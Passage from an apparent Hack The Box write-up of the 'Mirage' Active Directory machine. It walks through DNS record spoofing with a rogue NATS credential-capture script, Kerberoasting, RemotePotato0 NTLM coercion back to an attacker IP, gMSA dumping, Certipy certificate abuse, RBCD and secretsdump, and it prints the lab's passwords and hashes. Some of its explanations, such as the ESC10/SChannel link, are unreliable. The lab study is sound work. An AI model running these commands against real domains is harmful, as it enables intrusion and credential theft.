← Back to HTB Reports / 2ubZ3r0

Mirage [Hard]

https://app.hackthebox.com/machines/Mirage

IP

10.10.11.78

Domain/Host

dc01.mirage.htb mirage.htb nats-svc.mirage.htb

Info

This is the Updated Mirage Write Up

In the past we was found we mark.bbond AutoLogon credentials

The credentials are removed but AutoLogon are still activate!!!


Nmap Results

nmap -p 1-65535 -T4 -A -v 10.10.11.78
Host is up (0.058s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE         VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2025-10-15 21:23:39Z)
111/tcp   open  rpcbind         2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96 ee88 7537 0dcf 1bd4 4aa3 2104 5393
|_SHA-1: c25a 58cc 950f ce6e 64c7 cd40 e98e bb5a 653f b9ff
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96 ee88 7537 0dcf 1bd4 4aa3 2104 5393
|_SHA-1: c25a 58cc 950f ce6e 64c7 cd40 e98e bb5a 653f b9ff
|_ssl-date: TLS randomness does not represent time
2049/tcp  open  mountd          1-3 (RPC #100005)
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96 ee88 7537 0dcf 1bd4 4aa3 2104 5393
|_SHA-1: c25a 58cc 950f ce6e 64c7 cd40 e98e bb5a 653f b9ff
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap        Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after:  2105-07-04T19:58:41
| MD5:   da96 ee88 7537 0dcf 1bd4 4aa3 2104 5393
|_SHA-1: c25a 58cc 950f ce6e 64c7 cd40 e98e bb5a 653f b9ff
|_ssl-date: TLS randomness does not represent time
4222/tcp  open  vrml-multi-use?
| fingerprint-strings:
|   GenericLines:
|     INFO {"server_id":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","server_name":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":56,"client_ip":"10.10.16.xx","xkey":"XDFBRQWNJTALHQ4EBUTYCU4PQLGCE6VO5KBDVCXKIUVCXPEMUJCSXDQI"}
|     -ERR 'Authorization Violation'
|   GetRequest:
|     INFO {"server_id":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","server_name":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":57,"client_ip":"10.10.16.xx","xkey":"XDFBRQWNJTALHQ4EBUTYCU4PQLGCE6VO5KBDVCXKIUVCXPEMUJCSXDQI"}
|     -ERR 'Authorization Violation'
|   HTTPOptions:
|     INFO {"server_id":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","server_name":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":58,"client_ip":"10.10.16.xx","xkey":"XDFBRQWNJTALHQ4EBUTYCU4PQLGCE6VO5KBDVCXKIUVCXPEMUJCSXDQI"}
|     -ERR 'Authorization Violation'
|   NULL:
|     INFO {"server_id":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","server_name":"NCEASH6LHUENO7AAQKKVR7VDIVHKCB52W62DJPQ25TOIKIK5TXWEJP4D","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":55,"client_ip":"10.10.16.xx","xkey":"XDFBRQWNJTALHQ4EBUTYCU4PQLGCE6VO5KBDVCXKIUVCXPEMUJCSXDQI"}
|_    -ERR 'Authentication Timeout'
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf          .NET Message Framing
47001/tcp open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49383/tcp open  msrpc           Microsoft Windows RPC
49664/tcp open  msrpc           Microsoft Windows RPC
49665/tcp open  msrpc           Microsoft Windows RPC
49666/tcp open  msrpc           Microsoft Windows RPC
49667/tcp open  msrpc           Microsoft Windows RPC
49668/tcp open  msrpc           Microsoft Windows RPC
50790/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
50791/tcp open  msrpc           Microsoft Windows RPC
50806/tcp open  msrpc           Microsoft Windows RPC
50812/tcp open  msrpc           Microsoft Windows RPC
50836/tcp open  msrpc           Microsoft Windows RPC
57626/tcp open  msrpc           Microsoft Windows RPC
60776/tcp open  msrpc           Microsoft Windows RPC

NFTS Shares

We enumerate available NFS Shares using showmount

showmount -e 10.10.11.78

We create a local mount directory at /tmp/mirage

mkdir /tmp/mirage

We mount the remote NFS share MirageReports

sudo mount -t nfs 10.10.11.78:/MirageReports /tmp/mirage

We access and list files

cd /tmp/mirage

ls


Hints in PDF Files

Info
We learn a new 'hostname' and prepare to 'spoof' the 'DNS record' for 'nats-svc.mirage.htb'

Based on the contents of the PDF, we discover the hostname 'nats-svc.mirage.htb'.

To proceed, we likely need to 'forge' a DNS entry and point it to our own 'IP address'.

By doing so, we can launch our own 'NATS server' and intercept or emulate expected behavior to gain a foothold in the environment.



Fake DNS Entry

Nats Server is Running on Port 4222

We install nats

https://github.com/nats-io/natscli

go install github.com/nats-io/natscli/nats@v0.0.33

Setup Fake Nats Server

Info

We're deploying a rogue NATS server to capture data exfiltrated via manipulated DNS responses

fake_nats.py

import socket

HOST = "0.0.0.0"
PORT = 4222

print(f"[+] Fake NATS Server listening on {HOST}:{PORT}")
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)

while True:
    try:
        client, addr = s.accept()
        print(f"[+] Connection from {addr}")

        # Send fake INFO – zwingend für NATS Client-Handshake
        info = b'INFO {"server_id":"FAKE","version":"2.11.0","auth_required":true}\\r\\n'
        client.sendall(info)

        # Read potential credentials
        data = client.recv(2048)
        print("[>] Received:")
        print(data.decode(errors='replace'))

        # Optional: Close connection or respond
        # client.sendall(b'-ERR "Authorization Violation"\\r\\n')
        client.close()

    except Exception as e:
        print(f"[!] Error: {e}")

We launch the custom fake NATS server

python3 fake_nats.py

We use nsupdate to manually inject a forged DNS record

nsupdate

We spoof the DNS record for nats-svc.mirage.htb by sending an nsupdate to the DNS server

server 10.10.11.78
update add nats-svc.mirage.htb 3600 A 10.10.16.x
send

Our fake NATS server intercepted credentials for

Dev_Account_A: hx5h7F5554fP@1337!

Create Consumer (All Question Put Enter)

nats --server nats://10.10.11.78:4222 \\
     --user Dev_Account_A \\
     --password 'hx5h7F5554fP@1337!' \\
     consumer add auth_logs test --pull --ack explicit

Read messages

nats --server nats://10.10.11.78:4222 \\
     --user Dev_Account_A \\
     --password 'hx5h7F5554fP@1337!' \\
     consumer next auth_logs test --count=10

We obtained the password for user

david.jjackson: pN8kQmn6b86!1234@


Bloodhound

We collect full BloodHound data as user david.jjackson

bloodhound-python -u david.jjackson -p 'pN8kQmn6b86!1234@' -c All -d mirage.htb -ns 10.10.11.78 --zip

List all Kerberoastable AccountsThe account nathan.aadam have SPNs assigned and are therefore kerberoastable

MARK.BBOND, a member of IT_SUPPORT, has the right to force a password change on JAVIER.MMARSHALL

JAVIER.MMARSHALL has ReadGMSAPassword privileges on MIRAGE-SERVICE$

nathan.aadam holds membership in the IT_ADMIN group

The account javier.mmarshall is currently disabled

mark.bbond is a member of the IT_SUPPORT group.

The account mark.bbond is allowed to act on DC01.mirage.htb via Resource-Based Constrained Delegation (RBCD)

The Mashine Account DC01 Can DCSync the Domain


Get User Flag Attack Chain

Important

NTLM authentication is disabled on this machine, which means we must use Kerberos for authentication instead.

We use NetExec SMB to generate a krb5.conf file for Kerberos authentication

nxc smb 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --generate-krb5-file /etc/krb5.conf

We synchronize our system time with the target's NTP

ntpdate 10.10.11.78

We verify the discovered credentials and immediately list available users

nxc smb 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --users

We use NetExec to generate a Kerberos TGT for user david.jjackson

nxc smb 10.10.11.78 -u david.jjackson -p 'pN8kQmn6b86!1234@' -k --generate-tgt david.jjackson

We set the Kerberos ticket cache environment variable for david.jjackson

export KRB5CCNAME=david.jjackson.ccache

We perform Kerberoasting using GetUserSPNs with Kerberos

impacket-GetUserSPNs 'mirage.htb/david.jjackson' -dc-host dc01.mirage.htb -k -request

We attempt to crack the TGS hash using John the Ripper

john --wordlist=/usr/share/wordlists/rockyou.txt nathan.hash

We use NetExec SMB to generate a Kerberos TGT for nathan.aadam

nxc smb dc01.mirage.htb -u nathan.aadam -p '3edc#EDC3' -k --generate-tgt nathan.aadam

We set the Kerberos cache for nathan.aadam using export KRB5CCNAME

export KRB5CCNAME=nathan.aadam.ccache

We attempt a Kerberos-authenticated Evil-WinRM session as nathan.aadam

evil-winrm -i dc01.mirage.htb -u nathan.aadam -r mirage.htb

User Flag

We read the user flag from nathan.aadam's Desktop using type

type C:\\Users\\nathan.aadam\\Desktop\\user.txt

We upload the winPEASx64.exe binary for local privilege escalation enumeration

upload winPEASx64.exe

We execute winPEASx64.exe

./winPEASx64.exe

In the Past we have found a PW there

But this information is usefull so we got info that Autlogon is maybe activate (without saved creds)

Whe use this command to comfirm

Get-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' |
Select-Object DefaultUserName, DefaultDomainName, DefaultPassword, AutoAdminLogon

Info

What the output means

returns the Winlogon settings. Your output:

  • DefaultUserName = mark.bbond

    → The username that Windows will use for automatic logon.

  • DefaultDomainName = MIRAGE

    → The domain (or computer name) under which the user will be logged on. In this case the domain MIRAGE.

  • DefaultPassword = (empty)

    → This would normally contain the plaintext password used for AutoLogon if one were configured. In your output the field is empty — meaning there is no plaintext password stored in this registry key at the moment.

    Note: an empty field does not automatically mean the system is fully safe — the password could be stored or used elsewhere by other mechanisms.

  • AutoAdminLogon = 1

    → Windows is configured to automatically sign in the user above at boot. 1 = enabled, 0 = disabled.

We check whether Explorer is running

Get-Process explorer -ErrorAction SilentlyContinue

Info
The fact that explorer is running with SI = 1 indicates there is an interactive (console) session on this host. Combined with AutoAdminLogon = 1, it’s highly likely that mark.bbond is currently interactively logged in — exactly the condition that RemotePotato / OXID coercion would abuse.

However, we cannot confirm which user owns the explorer process from your current session — determining the process owner requires elevated (Administrator) privileges.


Get mark.bbond hash via RemotePotato0 Attack

Question

Who works RemotePotato0

https://www.r-tec.net/r-tec-blog-windows-is-and-always-will-be-a-potatoland.html

When a COM object is unmarshalled in Session 0, Windows may query the OXID resolver and perform outbound RPC/NTLM authentication using the security context of the machine’s “first interactive user.” If AutoAdminLogon=1 and mark.bbond was automatically signed in at boot, that account becomes the interactive context many COM servers use — even if it is not an administrator.

RemotePotato0 exploits this by forcing a vulnerable COM server to unmarshal a crafted IStorage object that points to an attacker-controlled OXID resolver. The server requests RPC bindings, connects back to the attacker’s RPC endpoint and then performs NTLM authentication in the context of the automatically logged-in user (mark.bbond). The attacker captures that NTLM response and can immediately relay or reuse it to access network services as that user. In short: AutoAdminLogon alone (non-admin included) makes a specific user context available to COM/OXID coercion, and RemotePotato0 turns that context into a relayable NTLM response.

We forward local port 135 to remote 10.10.11.78:9999

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.78:9999

We run RemotePotato0 to trigger remote privilege escalation and connect back on port 9999

https://github.com/antonioCoco/RemotePotato0/releases

.\\RemotePotato0.exe -m 2 -x 10.10.16.xx -p 9999 -s 1

Info

We got the NTLMV2 Hash from User mark.bbond

Parameter Explanation:

  • m 2: Module 2 - RPC capture (hash) server + potato trigger
  • x 10.10.16.xx: Your attacker IP where the RPC traffic is sent
  • p 9999: Port for the RogueOxidResolver
  • s 1: Session ID 1 - targets the user session we identified with Get-Process explorer

Session ID 1 refers to the active user desktop session where we saw Explorer.exe running, indicating an logged-in user that we want to capture credentials from.

The tool will:

  1. Trigger DCOM activation in session 1
  1. Capture NTLM authentication via RPC relay
  1. Send the intercepted hash to your listener

We crack the NTLMV2 Hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash.mark.b

We got the PW 1day@atime


Lateral Movement

On our bloodhound output we got the information that The account javier.mmarshall is currently disabled

We query domain user account details for javier.mmarshall

net user javier.mmarshall /domain

Important

The domain account javier.mmarshall is currently disabled (Account active: No) and has no allowed logon hours (Logon hours allowed: None).

This means the user cannot sign in at any time — the account is fully blocked from authentication, even if re-enabled, until logon hours are changed.

Info
We reactivate the account'and clone the logon hours for javier.mmarshall using mark.bbond’s credentials from the Evil-WinRM PowerShell session as nathan.aadam

Since mark.bbond is a member of the IT_Support group, he likely has sufficient permissions to reset the password and enable the account as part of delegated helpdesk rights

We enable the javier.mmarshall account and clone logon hours from mark.bbond

$Password = ConvertTo-SecureString "1day@atime" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ("MIRAGE\\mark.bbond", $Password)
Enable-ADAccount -Identity javier.mmarshall -Cred $Cred

$logonhours = Get-ADUser mark.bbond -Properties LogonHours | select-object -expand logonhours
[byte[]]$hours1 = $logonhours
Set-ADUser -Identity javier.mmarshall -Cred $Cred -Replace @{logonhours = $hours1}

Success
After 'activating' the 'javier.mmarshall' account, we can 'request a ticket' and use 'gMSADumper.py' on the 'Mirage-Service$' account

We use BloodyAD with Kerberos auth to reset the password of javier.mmarshall

bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" set password "javier.mmarshall" 'pa$$w0rd'

We generate a Kerberos TGT for javier.mmarshall using NetExec SMB

nxc smb dc01.mirage.htb -u javier.mmarshall -p 'pa$$w0rd' -k --generate-tgt javier.mmarshall

We set the Kerberos ticket cache for javier.mmarshall using export KRB5CCNAME

export KRB5CCNAME=javier.mmarshall.ccache

We dump gMSA passwords from the domain mirage.htb using gMSADumper.py

 gMSADumper.py -k -d mirage.htb -l dc01.mirage.htb

We obtained the NTLM hash of the Mirage-Service$ account,

Which is a computer account

Info
We leveraged the 'Mirage-Service$' account to update the altSecurityIdentities of 'mark.bbond' via Certipy, enabling certificate-based authentication. After requesting a certificate using the 'User' template with Kerberos authentication, we authenticated as 'mark.bbond' using the generated PFX and accessed the LDAP shell. From there, we configured Resource-Based Constrained Delegation (RBCD), granting 'mark.bbond' the right to impersonate users on DC01.mirage.htb. As a result, 'mark.bbond' now holds AllowedToAct rights on the Domain Controller

Info
  • Checking StrongCertificateBindingEnforcement as nathan.aadam via Evil-WinRM
Get-ItemProperty -Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\Kdc" | Select-Object StrongCertificateBindingEnforcement

It returned a value of 1 for StrongCertificateBindingEnforcement, which means the KDC is running in compatibility (audit) mode. In this mode, weak certificate bindings—such as certificates with mismatched UPNs used in attacks like ESC1 or ESC10—are still accepted, but their usage is logged for auditing purposes. As a result, a user like nathan.aadam could still exploit ESC10 to request a certificate for administrator@mirage.htb and authenticate as a Domain Admin, despite the setting not being fully hardened.

https://www.hackingarticles.in/adcs-esc10-weak-certificate-mapping/

![[Pasted image 20250720174446.png]]

reg query 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL'

SChannel Registry Check – ESC10 Context

We queried the SChannel registry to inspect the server’s TLS configuration:

reg query "HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL"

This step is relevant for ESC10, which targets vulnerable TLS configurations on ADCS servers. If the server allows outdated protocols like TLS 1.0 or weak cipher suites, it may be possible to perform NTLM relaying against the Certificate Authority using tools like Certipy.

  • SChannel\Protocols: shows if deprecated versions (e.g., TLS 1.0/1.1) are enabled
  • SChannel\CipherSuites: reveals if weak ciphers (e.g., RC4, NULL) are allowed
  • This misconfiguration enables attackers to relay NTLM authentication to ADCS and request certificates via Certipy
Important
A value of 0x4 typically suggests that the system is susceptible to ESC10 due to a weak certificate mapping configuration.

With a valid certificate obtained this way, an attacker can impersonate domain users or even domain admins via PKINIT.

We Identify Writable Attributes in Active Directory Using bloodyAD

bloodyAD --kerberos -u "mark.bbond" -p '1day@atime' -d "mirage.htb" --host "dc01.mirage.htb" get writable --detail

Info
The user mark.bbond has write access to many attributes on his own account, including contact information, certificate and DPAPI-related fields, as well as the critical attribute msDS-AllowedToActOnBehalfOfOtherIdentity, which can be abused for Resource-Based Constrained Delegation (RBCD). He also has control over msDS-SupportedEncryptionTypes, allowing for possible Kerberos encryption downgrade attacks.

Additionally, mark.bbond has write access to the account javier.mmarshall, specifically to the userAccountControl and logonHours attributes. This allows him to reactivate the disabled user and manipulate login hours, which is often used in privilege escalation paths.

Attack Chain

We regenerate Kerberos TGTs for both mark.bbond and javier.mmarshall using 'NetExec SMB' (Or use your existing tickets for these users)

getTGT.py MIRAGE.HTB/Mirage-Service\\$ -hashes :305806d84f7c1be93a07aaf40f0c7866
nxc smb dc01.mirage.htb -u mark.bbond -p '1day@atime' -k --generate-tgt mark.bbond

We use Certipy as Mirage-Service$ to update the altSecurityIdentities of mark.bbond in mirage.htb

 KRB5CCNAME=Mirage-Service$.ccache certipy-ad account \\
    -u 'Mirage-Service$' \\
    -k \\
    -target dc01.mirage.htb -upn 'dc01$@mirage.htb' \\
    -user 'mark.bbond' update

We request a certificate for mark.bbond using Kerberos auth and the User template via Certipy

KRB5CCNAME=mark.bbond.ccache certipy-ad req \\
  -k \\
  -target dc01.mirage.htb \\
  -ca 'mirage-DC01-CA' \\
  -template 'User' \\
  -dc-ip 10.10.11.78

We authenticate as mark.bbond using the PFX certificate to start an interactive LDAP shell with Certipy

certipy-ad auth -pfx dc01.pfx -dc-ip 10.10.11.78 -ldap-shell

We configure RBCD fromdc01$ to nathan.aadam via the LDAP shell

set_rbcd dc01$ nathan.aadam

Sucess
We successfully configured 'RBCD' to allow 'nathan.aadam' to impersonate any user on 'dc01$' using 'S4U2Proxy'

By setting the 'msDS-AllowedToActOnBehalfOfOtherIdentity' attribute on the computer object 'dc01$', we grant 'nathan.aadam' delegation rights.

This allows him to request service tickets on behalf of other users to 'dc01.mirage.htb', enabling lateral movement or privilege escalation.

We request a service ticket (TGS) for CIFS/dc01.mirage.htb

getST.py -spn 'CIFS/dc01.mirage.htb' -impersonate 'DC01$' 'MIRAGE.HTB/nathan.aadam:3edc#EDC3' -k

We set the Kerberos cache environment variable

export KRB5CCNAME=DC01\\$@CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache

We dump NTDS secrets from dc01.mirage.htb using secretsdump.py

secretsdump.py -k -no-pass dc01.mirage.htb

We request a TGT for Administrator@mirage.htb using its NTLM hash

getTGT.py -hashes :7be6d4f3c2b9c0e3560f5a29eeb1afb3 -dc-ip 10.10.11.78 mirage.htb/Administrator

We set the Kerberos ticket cache for Administrator using export KRB5CCNAME

 export KRB5CCNAME=Administrator.ccache

We establish a Kerberos-authenticated Evil-WinRM session as Administrator

 evil-winrm -i dc01.mirage.htb -u Administrator -r mirage.htb

Root Flag

We read the root flag from Administrator’s Desktop using type

type C:\\Users\\Administrator\\Desktop\\root.txt


Beyond Root

(for that infos we need Administrator rights)

FAQ

Why we got the Hashes from mark.bbond via RemotePotato?

I've confirmed why the RemotePotato exploit was intercepting mark.bbond's NTLM responses: RemotePotato forces a vulnerable COM server to unmarshall an attacker-provided (marshalled) IStorage object. During unmarshalling, the COM server queries the OXID resolver and initiates an outbound RPC/NTLM authentication in the context of the "first interactive user" on the machine. Since AutoAdminLogon = 1 was set, this context is provided by the automatically logged-in user. For final confirmation, I checked with elevated privileges which user owns the explorer.exe process — the result shows:

explorer.exe (PID 556) => MIRAGE\\mark.bbond

This proves: the machine had an active interactive session from MIRAGE\mark.bbond, RemotePotato was able to enforce authentication in exactly this user context, and therefore the NTLM responses/hashes from mark.bbond were intercepted.

Check
Summary: AutoLogon + active interactive session (mark.bbond) → COM/OXID coercion → outbound NTLM auth in mark.bbond's context → captured NTLM response.
# Get the explorer process and query its owner
$proc = Get-WmiObject -Class Win32_Process -Filter "Name='explorer.exe'"
foreach ($p in $proc) {
    $owner = $p.GetOwner()
    "{0} (PID {1}) => {2}\\{3}" -f $p.Name, $p.ProcessId, $owner.Domain, $owner.User
}

We list active user sessions (with Admin rights!)

query user

mark.bbond have active session

Summary

Summary RemotePotato

As an Administrator I confirmed the condition that made RemotePotato exploitable:

Our initial shell (context nathan.aadam) only gave us the hint that AutoAdminLogon was set for mark.bbond — we also observed an explorer process running, which indicates an interactive session. Those two indicators together led us to attempt the RemotePotato attack.

Note

Security Check on mirage

1. Check NTLM Server Security Level

Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0" -Name "NtlmMinServerSec" -ErrorAction SilentlyContinue

Purpose: Verifies minimum NTLM security requirements for servers

Expected Value: 536870912 (NTLMv2 + 128-bit encryption)

2. Check Main LSA Security Settings

Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\"

Purpose: Reviews core Local Security Authority settings

Key Values:

  • LmCompatibilityLevel = NTLM version control
  • NoLmHash = LM hash storage prevention
  • RestrictAnonymous = Anonymous access restrictions

3. Check All MSV1_0 Authentication Settings

Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0\\" -ErrorAction SilentlyContinue

Purpose: Examines all NTLM authentication provider settings

Critical Values:

  • NtlmMinClientSec = Client security requirements
  • NtlmMinServerSec = Server security requirements
  • RestrictReceivingNTLMTraffic = Inbound NTLM control
  • RestrictSendingNTLMTraffic = Outbound NTLM control

4. Verify NTLM Server Security (Specific Check)

Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0" -Name "NtlmMinServerSec" -ErrorAction SilentlyContinue

Purpose: Confirms NTLMv2 enforcement (repeat for emphasis)

Impact: High security setting paradoxically enables better hash capture

5. Check NTLM Traffic Restrictions

Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0" -Name "RestrictReceivingNTLMTraffic" -ErrorAction SilentlyContinue

Purpose: Verifies inbound NTLM traffic policy

Values:

  • 0 = Allow all NTLM (vulnerable)
  • 2 = Deny all NTLM (secure) - but bypassed by DCOM activation

Why These Checks Matter:

This registry analysis reveals:

  • NTLM security level affecting hash quality
  • Traffic restrictions that should block but don't
  • Authentication settings enabling the exploit
FAQ

Why the Potato Exploit Works - Technical Explanation:

1. DCOM Cross-Session Activation (The Main Reason)

.\\RemotePotato0.exe -m 2 -x YOUR_IP -p 9999 -s 1
  • s 1 = Target Session 1 (logged-in Admin User)
  • DCOM Activation allows starting COM objects in other user sessions
  • This bypasses RestrictReceivingNTLMTraffic: 2 because it's local/internal activation

2. RPC/NTLM Relay Mechanism

Client (Session 1) → DCOM Activation → RPC Call → RemotePotato0 → NTLM Capture

  • RPC Calls trigger automatic NTLM authentication
  • RemotePotato0 intercepts and relays these authentications
  • This happens before NTLM restrictions can be applied

3. Registry Settings Enable Complete Hashes

  • NtlmMinServerSec: 536870912 = Enforces NTLMv2 with 128-bit encryption
  • NTLMv2 Hashes are longer and more standardized than NTLMv1
  • Higher security = Better hash format for cracking

4. The "Permission Gap"

  • RestrictReceivingNTLMTraffic: 2 only blocks external network connections
  • DCOM/RPC Activation is internal system communication
  • Windows treats this as "trusted local operation"

5. Why It Doesn't Work on Some Systems:

  • Older Windows versions have different DCOM security
  • Various hotfixes patch the vulnerability
  • Different registry combinations produce incomplete hashes

Summary:

RemotePotato0 works because it:

  1. Uses DCOM for local activation (bypasses network restrictions)
  1. Abuses RPC for NTLM relay
  1. Exploits high NTLM security for complete hashes
  1. Abuses a design flaw in Windows session isolation

This is not a "Network Attack" - it's "Local Privilege Escalation" through session hopping!

Example

Testing the Exploit on a Local VM with Multiple User Sessions

During my testing on a local virtual machine, I successfully executed the RemotePotato0 exploit in an environment with two active user sessions. The attack successfully captured NTLM hashes from both authenticated users through DCOM cross-session activation.

Test Environment Setup:

  • Virtual Machine: Windows Server 2019/2022
  • Active Sessions: 2 simultaneous user logins
  • Session 1: Standard user account
  • Session 2: Administrative user account
  • Attack Vector: DCOM cross-session activation